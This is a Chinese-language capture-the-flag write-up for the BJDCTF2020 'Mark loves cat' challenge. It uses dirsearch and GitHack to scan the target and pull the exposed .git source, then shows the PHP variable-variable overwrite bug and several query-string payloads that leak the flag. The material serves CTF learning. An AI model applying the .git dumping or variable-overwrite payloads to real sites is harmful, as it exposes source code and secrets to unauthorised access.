[BJDCTF2020]Mark loves cat

黑盒直接扫

dirsearch -u http://bba9a212-64d3-4a16-88b4-3605fe3ef749.node5.buuoj.cn:81/ -w /home/kali/Desktop/dirsearch/db/dicc.txt

在这里插入图片描述
我们用GitHack拿一下源码
没有的去下载一下,开源代码

cd GitHack

python GitHack.py http://bba9a212-64d3-4a16-88b4-3605fe3ef749.node5.buuoj.cn:81/.git/
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}
//如果传入a=1那么就是赋值$a=1
foreach($_GET as $x => $y){
    $$x = $$y;
}
/*如果传?a=1那么就是$a=$1;
利用这里来带出flag*/
foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){  不强等于字符串直接写就可以不带引号的
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;

看到exit那么我们想到变量覆盖
在这里插入图片描述
我们先随便写试试
在这里插入图片描述

?handsome=flag&flag='x'&x='flag'

由于动态赋值所以语法错误了,没成功

?handsome=flag&flag=a&a='flag'
还是有语法错误,但是出flag了
?handsome=flag&flag=a&a=flag
成功

还有其他的payload我一起写出来思路一样的

?is=flag&flag=flag

?yds=flag
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值